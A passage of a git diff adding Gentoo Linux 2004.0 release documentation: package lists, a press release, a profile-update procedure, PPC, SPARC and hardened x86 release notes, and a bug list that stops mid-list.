+net-misc/keychain-2.0.2</li><li>
+net-misc/openssh-3.7.1_p2-r1</li><li>
+net-misc/rdate-990821</li><li>
+net-misc/rsync-2.6.0</li><li>
+net-misc/wget-1.9-r2</li><li>
+net-misc/whois-4.6.6-r2</li><li>
+net-nds/portmap-5b-r7 </li><li>
+net-print/cups-1.1.19-r1 </li><li>
+net-print/gnome-cups-manager-0.17 </li><li>
+net-print/libgnomecups-0.1.6 </li><li>
+net-www/apache-2.0.48-r4 </li><li>
+net-www/epiphany-1.0.7 </li><li>
+net-www/htdig-3.1.6-r4</li><li>
+net-www/links-2.1_pre9</li><li>
+net-www/lynx-2.8.4.1d-r1 </li><li>
+net-www/mozilla-1.5-r1 </li><li>
+sys-apps/acl-2.2.13-r1</li><li>
+sys-apps/attr-2.4.7-r1</li><li>
+sys-apps/baselayout-1.8.6.13</li><li>
+sys-apps/coreutils-5.0.91-r2</li><li>
+sys-apps/cronbase-0.2.1-r2</li><li>
+sys-apps/debianutils-1.16.7-r4</li><li>
+sys-apps/diffutils-2.8.4-r3</li><li>
+sys-apps/ed-0.2-r3</li><li>
+sys-apps/eject-2.0.12-r1</li><li>
+sys-apps/fbset-2.1</li><li>
+sys-apps/file-4.02</li><li>
+sys-apps/findutils-4.1.20-r1</li><li>
+sys-apps/gawk-3.1.2-r3</li><li>
+sys-apps/grep-2.5.1-r1</li><li>
+sys-apps/groff-1.18.1-r4</li><li>
+sys-apps/gtkpbbuttons-0.5.2</li><li>
+sys-apps/hdparm-5.4</li><li>
+sys-apps/help2man-1.29</li><li>
+sys-apps/hotplug-20040105</li><li>
+sys-apps/kbd-1.08-r5</li><li>
+sys-apps/less-381</li><li>
+sys-apps/mac-fdisk-0.1</li><li>
+sys-apps/man-1.5l-r6</li><li>
+sys-apps/man-pages-1.65</li><li>
+sys-apps/miscfiles-1.3</li><li>
+sys-apps/module-init-tools-0.9.15_pre4</li><li>
+sys-apps/modutils-2.4.25</li><li>
+sys-apps/net-tools-1.60-r7</li><li>
+sys-apps/pam-login-3.14</li><li>
+sys-apps/parted-1.6.5-r1</li><li>
+sys-apps/pbbuttonsd-0.5.2-r1</li><li>
+sys-apps/pciutils-2.1.11</li><li>
+sys-apps/pmud-0.10.1-r2</li><li>
+sys-apps/portage-2.0.50-r1</li><li>
+sys-apps/portage-2.0.50-r1</li><li>
+sys-apps/portage-2.0.50-r1</li><li>
+sys-apps/portage-2.0.50-r1</li><li>
+sys-apps/powerpc-utils-1.1.3-r7</li><li>
+sys-apps/powerprefs-0.3.1</li><li>
+sys-apps/procps-3.1.15</li><li>
+sys-apps/psmisc-21.2-r4</li><li>
+sys-apps/sed-4.0.7</li><li>
+sys-apps/setserial-2.17-r2</li><li>
+sys-apps/sh-utils-2.0.15</li><li>
+sys-apps/shadow-4.0.3-r9</li><li>
+sys-apps/slocate-2.7-r2</li><li>
+sys-apps/tcp-wrappers-7.6-r6</li><li>
+sys-apps/texinfo-4.6</li><li>
+sys-apps/usbutils-0.11-r3</li><li>
+sys-apps/util-linux-2.12-r3</li><li>
+sys-apps/vixie-cron-3.0.1-r3</li><li>
+sys-apps/which-2.14</li><li>
+sys-apps/xinetd-2.3.11</li><li>
+sys-boot/yaboot-1.3.11</li><li>
+sys-devel/autoconf-2.58-r1</li><li>
+sys-devel/automake-1.7.8</li><li>
+sys-devel/bc-1.06-r5</li><li>
+sys-devel/binutils-2.14.90.0.6-r6</li><li>
+sys-devel/bison-1.35</li><li>
+sys-devel/flex-2.5.4a-r5</li><li>
+sys-devel/gcc-3.2.3-r4</li><li>
+sys-devel/gdb-6.0</li><li>
+sys-devel/gettext-0.12.1</li><li>
+sys-devel/gnuconfig-20030708</li><li>
+sys-devel/libtool-1.4.3-r3</li><li>
+sys-devel/m4-1.4-r1</li><li>
+sys-devel/make-3.80</li><li>
+sys-devel/patch-2.5.9</li><li>
+sys-fs/devfsd-1.3.25-r3</li><li>
+sys-fs/dosfstools-2.8-r3 </li><li>
+sys-fs/e2fsprogs-1.34-r1</li><li>
+sys-fs/hfsplusutils-1.0.4-r1</li><li>
+sys-fs/hfsutils-3.2.6-r3</li><li>
+sys-fs/progsreiserfs-0.3.0.3</li><li>
+sys-fs/raidtools-1.00.3-r1</li><li>
+sys-fs/reiserfsprogs-3.6.8</li><li>
+sys-kernel/genkernel-3.0.1_rc1 </li><li>
+sys-kernel/ppc-development-sources-2.6.3-r2</li><li>
+sys-kernel/ppc-sources-2.4.24-r2</li><li>
+sys-libs/cracklib-2.7-r8</li><li>
+sys-libs/db-1.85-r1</li><li>
+sys-libs/db-4.1.25_p1-r3</li><li>
+sys-libs/gdbm-1.8.0-r5</li><li>
+sys-libs/glibc-2.3.2-r9</li><li>
+sys-libs/gpm-1.20.1</li><li>
+sys-libs/libtermcap-compat-1.2.3-r1</li><li>
+sys-libs/ncurses-5.3-r5</li><li>
+sys-libs/ncurses-5.3-r5</li><li>
+sys-libs/pam-0.77</li><li>
+sys-libs/pwdb-0.62</li><li>
+sys-libs/readline-4.3-r4</li><li>
+sys-libs/slang-1.4.5-r2</li><li>
+sys-libs/zlib-1.1.4-r3</li><li>
+sys-libs/zlib-1.1.4-r3</li><li>
+x11-base/opengl-update-1.5</li><li>
+x11-base/xfree-4.3.0-r5</li><li>
+x11-libs/gtk+-1.2.10-r10 </li><li>
+x11-libs/gtk+-2.2.4-r1 </li><li>
+x11-libs/gtkglarea-1.99.0 </li><li>
+x11-libs/gtksourceview-0.7.0-r1 </li><li>
+x11-libs/libwnck-2.4.0.1-r1 </li><li>
+x11-libs/openmotif-2.1.30-r4</li><li>
+x11-libs/pango-1.2.5-r1 </li><li>
+x11-libs/qt-3.2.3-r1</li><li>
+x11-libs/startup-notification-0.5 </li><li>
+x11-libs/vte-0.11.10 </li><li>
+x11-misc/ttmkfdir-3.0.4</li><li>
+x11-misc/xeasyconf-0.1.5</li><li>
+x11-misc/xloadimage-4.1-r1</li><li>
+x11-terms/gnome-terminal-2.4.2 </li><li>
+x11-themes/gnome-icon-theme-1.0.9 </li><li>
+x11-themes/gnome-themes-2.4.1 </li><li>
+x11-themes/gtk-engines-2.2.0 </li><li>
+x11-themes/gtk-engines-thinice-2.0.2 </li><li>
+x11-themes/gtk-engines-xfce-2.1.1</li><li>
+x11-wm/fluxbox-0.9.8 </li><li>
+x11-wm/metacity-2.6.3 </li><li>
+x11-wm/openbox-3.0-r1</li><li>
+xfce-base/libxfce4mcs-4.0.1</li><li>
+xfce-base/libxfce4util-4.0.1</li><li>
+xfce-base/libxfcegui4-4.0.1</li><li>
+xfce-base/xfce-mcs-manager-4.0.1</li><li>
+xfce-base/xfce-mcs-plugins-4.0.1</li><li>
+xfce-base/xfce-utils-4.0.1</li><li>
+xfce-base/xfce4-4.0.1</li><li>
+xfce-base/xfce4-base-4.0.1</li><li>
+xfce-base/xfce4-panel-4.0.1</li><li>
+xfce-base/xfdesktop-4.0.1</li><li>
+xfce-base/xffm-4.0.1</li><li>
+xfce-base/xfprint-4.0.1</li><li>
+xfce-base/xfwm4-4.0.1</li><li>
+xfce-extra/xfce4-battery-0.2.0</li><li>
+xfce-extra/xfce4-iconbox-4.0.1</li><li>
+xfce-extra/xfce4-minicmd-0.2.0</li><li>
+xfce-extra/xfce4-mixer-4.0.1</li><li>
+xfce-extra/xfce4-netload-0.2.2</li><li>
+xfce-extra/xfce4-showdesktop-0.2.0</li><li>
+xfce-extra/xfce4-systemload-0.3.2</li><li>
+xfce-extra/xfce4-systray-4.0.1</li><li>
+xfce-extra/xfce4-themes-4.0.0</li><li>
+xfce-extra/xfce4-toys-4.0.1</li><li>
+xfce-extra/xfce4-trigger-launcher-4.0.1</li><li>
+xfce-extra/xffm-icons-4.0.0</li><li>
+xfce-extra/xfwm4-themes-4.0.0</li>
+
+
+		</ul>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+		<p>
+The Portage version included in this release is 2.0.50-r1 and  the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>  
+can be found via our online CVS repository.
+		</p>
+		
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<p>
+			The PPC livecd building script has been merged into Catalyst, the multi-arch Gentoo meta-tool for building releases. If you want to
+			build your own PPC livecds, simply emerge catalyst and follow the online instructions. Questions about catalyst should be
+			directed to the Gentoo Releng team. Questions about PowerPC livecd building or the former PPC livecd building tool should
+			go to <mail link="pvdabeel@gentoo.org">Pieter Van den Abeele</mail>.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>As of 2004.0, all PPC documentation has been merged into the Gentoo Handbook, which is available <uri link="http://www.gentoo.org/doc/en/handbook">here</uri> 
+			A PDF, html and text version of this handbook is included on all CDs. </p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading from previous versions of Gentoo Linux</title>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version  1.4) there is no need to reinstall. 
+			You will automatically get Gentoo 2004.0 if you sync your Portage tree and run  emerge --update world.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/releng/2004.0-press-release.txt b/xml/htdocs/proj/en/releng/release/2004.0/releng/2004.0-press-release.txt
new file mode 100644
index 00000000..408bda35
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/releng/2004.0-press-release.txt
@@ -0,0 +1,46 @@
+Author: John Davis, Gentoo Release Operations Manager
+
+For immediate publication:
+
+Gentoo Linux is proud to announce the release of Gentoo Linux 2004.0
+for the x86, AMD64, PowerPC, Sun SPARC, and SGI MIPS architectures.
+Additionally, the Gentoo Hardened team is announcing the inaugural release
+of a security-enhanced Gentoo platform for the x86 architecture.
+
+In addition to many bugfixes and security updates since the 1.4 release,
+Gentoo Linux 2004.0 contains a cutting-edge development toolchain and user
+environment including, but not limited to, Linux kernel 2.6.3, GCC 3.3.2,
+GLIBC 2.3.2, KDE 3.2, GNOME 2.4.2, and xfce4.
+
+We are pleased to announce the new Gentoo Store [1].  Available
+at the Gentoo Store are Gentoo Linux LiveCDs that come complete
+with the on-CD Gentoo Installation Handbook, 2004.0 Release Notes [2]
+and optimized pre-compiled binary packages. Users who want to 
+stay up-to-date for 2004 can purchase a subscription
+that offers the shipment of each quarterly 2004.x release sent straight to their door.
+Those wishing to donate to Gentoo Linux can now do so in an easy and secure manner
+utilizing the new donation system. The Gentoo Store accepts PayPal, Visa,
+Mastercard, and Discover for both orders and donations.
+
+Gentoo Linux 2004.0 marks the debut of Catalyst, the new Gentoo release meta-tool. Using
+Catalyst, developers and users can create and customize every aspect of
+their Gentoo Linux system; from installation stages, to bootable LiveCDs, to
+customized binary packages for the Gentoo Reference Platform (GRP). For more
+information on Catalyst, please see the Catalyst project page and online
+documentation [3].
+
+Installation stages, LiveCDs, and GRP sets can be
+found on our mirrors [4]. More information about the Gentoo Hardened project
+can be found on its project page [5]. For more information, please consult
+our documentation [6], mailing lists [7], user forums [8], and official IRC
+channels [9].
+
+1. Gentoo Store <http://store.gentoo.org>
+2. Gentoo Linux Release Engineering <http://www.gentoo.org/proj/en/releng>
+3. Catalyst documentation <http://www.gentoo.org/proj/en/releng/catalyst>
+4. Gentoo Linux Mirror Index <http://www.gentoo.org/main/en/mirrors.xml>
+5. Gentoo Hardened project <http://www.gentoo.org/proj/en/hardened>
+6. Gentoo Linux documentation <http://www.gentoo.org/doc/en>
+7. Gentoo Linux Mailing Lists <http://www.gentoo.org/main/en/lists.xml>
+8. Gentoo Linux user forums <http://forums.gentoo.org>
+9. Gentoo Linux official IRC channels <http://www.gentoo.org/main/en/irc.xml>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/releng/profile-update.xml b/xml/htdocs/proj/en/releng/release/2004.0/releng/profile-update.xml
new file mode 100644
index 00000000..9dd2fcd8
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/releng/profile-update.xml
@@ -0,0 +1,80 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="profile-update.xml">
+<title>System profile update procedure for 2004.0</title>
+
+<author title="Author">
+  <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<abstract>
+	This guide explains both the philosophy and the process behind the 2004.0 profile
+	naming scheme change.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>15 January 2004</date>
+
+<chapter>
+	<title>Philosophy</title>
+
+	<section>
+	<title>Background</title>
+	<body>
+		<p>Commonly referred to as system profiles, the Portage profiles that are located in
+		<c>/usr/portage/profiles</c> serve as the building block for any Gentoo Linux system.
+		Not only do the profiles specify what CFLAGS and arch KEYWORDS to use, they also lock
+		the specific system to a certain range of package versions. The profile is read by Portage
+		through the <c>/etc/make.profile</c> symlink which is created at stage building time. </p>
+
+		<p>There exist two problems with the current profile system. First, the version stamp of 1.4
+		that marks virtually all of Gentoo's modern profiles is out of date due to the new
+		quarterly release scheme. Secondly, the current profile system does not scale well. The
+		creation of a profile involves a lot of duplication. All profiles share common threads,
+		but there is no current way to abstract or inherit that common data. </p>
+
+		<p>The first problem is one that must be implemented before the release of 2004.0. The
+		reason for the deadline is simple - users do not need to be using profiles that are
+		version stamped with the old release scheme of 1.x. The cascading profiles will be something
+		that is implemented post 2004.0 as it is a project that is outside the scope of the 2004.0 
+		deadline.</p>
+	</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Procedure</title>
+
+	<section>
+	<title>Profile change procedure</title>
+	<body>
+		<p>The profile fix for 2004.0 can be initiated using the following steps: </p>
+		
+		<pre caption="Profile Change Procedure">
+1. cp -a default-$arch-1.4 default-$arch-2004.0
+2. echo "default-$arch-2004.0" > /usr/portage/profiles/default-$arch-1.4/deprecated
+3. Tweak your catalyst spec file to use the new profile name.
+		</pre>
+
+		<p>Step 1 simply copies the old profile to the new naming scheme.
+		Step 2 uses Portage's (>=2.0.50) profile deprecation feature. The <c>deprecated</c>
+		file not only marks the profile as obsolete, but its contents instruct
+		Portage which profile to use in place of the old profile.
+		Step 3 is self explanatory - change the <c>rel_version</c> line in your catalyst spec files
+		from <c>1.4</c> to <c>2004.0</c>. </p>
+
+		<p>If you do  want to update the profile link without having to
+		build a new stageset, simply chroot into the stages and fix the link by hand. To fix
+		your pre built Portage tarball, unpack it and change out the <c>profiles</c> directory
+		with a fresh one from the mirrors. </p>
+		
+	</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/sparc/sparc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.0/sparc/sparc-release-notes.xml
new file mode 100644
index 00000000..bd48f1a8
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/sparc/sparc-release-notes.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.0/sparc/sparc-release-notes.xml,v 1.2 2004/09/17 15:03:26 zhen Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="sparc-release-notes.xml">
+<title>SPARC Release Notes for Gentoo Linux 2004.0</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="SPARC Release Manager">
+	<mail link="gustavoz@gentoo.org">Gustavo Zacarias</mail>
+</author>
+
+<abstract>
+Gentoo 2004.0 Release Notes
+</abstract>
+
+<license/>
+
+<version>2004.0</version>
+<date>29 February 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project commited to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since the last release up until 2004.0. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.0 contains security updates to address GLSAs
+			(Gentoo Linux Security Advisories) numbered 200308-01 to 200402-07.
+			</p>
+
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+
+			<p>For more information, please consult the the gentoo-security mailing list
+			<uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Irssi is broken in livecd</ti>
+				<ti>Will be fixed on a newer livecd</ti>
+			</tr>
+			</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>List versions included in this release of the following packages:</p>
+
+			<ul>
+				<li>gcc 3.2.3-r3</li>
+				<li>glibc 2.3.2-r3</li>
+				<li>sparc-sources-2.4.24-r2</li>
+				<li>Portage 2.0.50-r1</li>
+				<li>XFree86 4.3.0-r5</li>
+				<li>KDE 3.2.0</li>
+				<li>GNOME 2.4.2</li>
+				<li>Fluxbox 0.9.8</li>
+				<li>XFCE4 4.0.1</li>
+			</ul>
+
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r1 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<p>Console detection on sparc is now automatic.
+			The livecd will use the OBP detected or selected console.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Gentoo Linux 2004.0 deprecates all single arch installation manuals in favor
+			of the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Linux Handbook</uri>.
+			The Gentoo Linux Handbook offers the most up-to-date information on all aspects of the
+			Gentoo Linux installation process.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading from previous versions of Gentoo Linux</title>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4) there is no need to reinstall. You will automatically get
+			Gentoo 2004.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/x86/hardened-x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.0/x86/hardened-x86-release-notes.xml
new file mode 100644
index 00000000..efc28a65
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/x86/hardened-x86-release-notes.xml
@@ -0,0 +1,212 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.0/x86/hardened-x86-release-notes.xml,v 1.1 2004/03/01 07:04:26 zhen Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Hardened Gentoo Linux 2004.0</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<abstract>
+Gentoo 2004.0 Release Notes
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>28 February 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 1.4. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.0 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200308-01 to 200402-07.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<i>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</i>, and substituting <i>$x</i>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the gentoo-security mailing list
+			<uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Emerge system stops after emerging hardened-gcc.</ti>
+				<ti>Run <c>etc-update</c>, then <c>hardened-gcc -a</c> and
+				restart the emerge.</ti>
+			</tr>
+			</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>hardened-gcc 3.3.2.1-r2</li>
+				<li>gcc 3.3.2-r5</li>
+				<li>glibc 2.3.2-r9</li>
+				<li>aa-sources-2.4.23-r1</li>
+				<li>ck-sources-2.4.23-r1</li>
+				<li>development-sources-2.6.3</li>
+				<li>gaming-sources-2.4.20-r8</li>
+				<li>gentoo-dev-sources-2.6.3-r1</li>
+				<li>gentoo-sources-2.4.22-r7</li>
+				<li>grsec-sources-2.4.25.1.9.14</li>
+				<li>gs-sources-2.4.25_pre7-r2</li>
+				<li>mm-sources-2.6.3-r4</li>
+				<li>openmosix-sources-2.4.22-r4</li>
+				<li>planet-ccrma-sources-2.4.21-r5</li>
+				<li>usermode-sources-2.6.3-r1</li>
+				<li>vanilla-sources-2.4.25</li>
+				<li>win4lin-sources-2.4.23-r2</li>
+				<li>wolk-sources-4.9-r4</li>
+				<li>xfs-sources-2.4.24-r3</li>
+				<li>Portage 2.0.50-r1</li>
+				<li>XFree86 4.3.0-r5</li>
+				<li>KDE 3.2.0</li>
+				<li>GNOME 2.4.2</li>
+				<li>XFCE4 4.0.1</li>
+			</ul>
+
+			<p>Coreutils is now available in Version 5.0.91-r4 with ACL
+			patches.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r1 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in previous releases.</li>
+				<li>Gentoo Linux 2004.0 is fully compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge gentoo-dev-sources</c>. </li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.0.2. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Gentoo Linux 2004.0 on deprecates all single arch installation manuals in favor
+			of the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Linux Handbook</uri>.
+			The Gentoo Linux Handbook offers the most up-to-date information on all aspects of the
+			Gentoo Linux installation process.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized LiveCD which contains precompiled binaries of popular
+			programs such as XFree86, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There are several kernels to choose from when using a Gentoo LiveCD to boot your
+			machine. The two main choices, the 2.4.24 based <i>gentoo</i> kernel and the 2.6.1 based <i>smp</i> kernel
+			will boot the machine into either uniprocessor or multiprocessor (SMP) mode, respectively.
+			The other two options, <i>gentoo-nofb</i> and <i>smp-nofb</i> boot the machine into uniprocessor
+			or multiprocessor mode without console framebuffer support. Press "F1" at the boot
+			prompt to choose which kernel to boot into.</p>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4) there is no need to reinstall. You will automatically get
+			Gentoo 2004.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.0. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/x86/index.xml b/xml/htdocs/proj/en/releng/release/2004.0/x86/index.xml
new file mode 100644
index 00000000..065240ee
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/x86/index.xml
@@ -0,0 +1,96 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="/proj/en/releng/release/2004.0/x86/index.xml">
+<title>Bugs for 2004.0</title>
+
+<author title="Author">
+  <mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+	This is a list of bugs already experienced when testing 2004.0
+	See also the <uri link="x86-release-notes.xml">release notes</uri>.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>February 5th 2003</date>
+
+<chapter>
+	<title>Bugs</title>
+
+	<section>
+	<title>Stage 1</title>
+	<body>
+		<p>
+		<ul>
+			<li>
+			<e>FIXED</e><uri link="http://bugs.gentoo.org/show_bug.cgi?id=36710">#36710</uri><br />
+			env-updates reports a missing depscan.sh (Note: This is a Portage-Problem that is
+			already fixed [portage-2.0.49-r19] but still exists in that stage [20031228] )</li>
+			<li>
+			<e>INVALID</e><uri link="http://bugs.gentoo.org/show_bug.cgi?id=36768">#36768</uri><br />
+			ncurses-5.3-r4 failed during bootstrap with distcc</li>
+			<li>
+			<e>INVALID</e><uri link="http://bugs.gentoo.org/show_bug.cgi?id=36770">#36770</uri><br />
+			ncurses-5.3-r4 fails at make install during bootstrap (Note: without distcc)</li>
+			<li>
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=29162">#29162</uri><br />
+			stage1 tarball 20031228 does not create /proc</li>
+			<li>
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=36936">#36936</uri><br />
+			<e>FIXED</e>Bootstrapping fails at glibc when USE="nptl"</li>
+			<li>
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=37077">#37077</uri><br />
+			Gentoo-Linux 2004.0 first "emerge system" reports "!!! Couldn't find match for sys-apps/setserial" --
+			Reassigned to Portage-team</li>
+		</ul>
+		</p>
+	</body>
+	</section>
+
+	<section>
+	<title>Stage 2</title>
+	<body>
+		<p>
+		<ul>
+			<li>
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=34732">#34732</uri><br />
+			emerge system failes on sys-devel/libperl-5.8.0</li>
+		</ul>
+		</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>Unspecified</title>
+	<body>
+		<p>
+		<ul>
+			<li>
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=36769">#36769</uri><br />
+			CXXFLAGS="$CFLAGS" doesn't work as expected</li>
+		</ul>
+		</p>
+	</body>
+	</section>
+
+	<section>
+	<title>Live-CD</title>
+	<body>
+		<p>
+		<ul>
+			<li>dokeymap doesn't work</li>
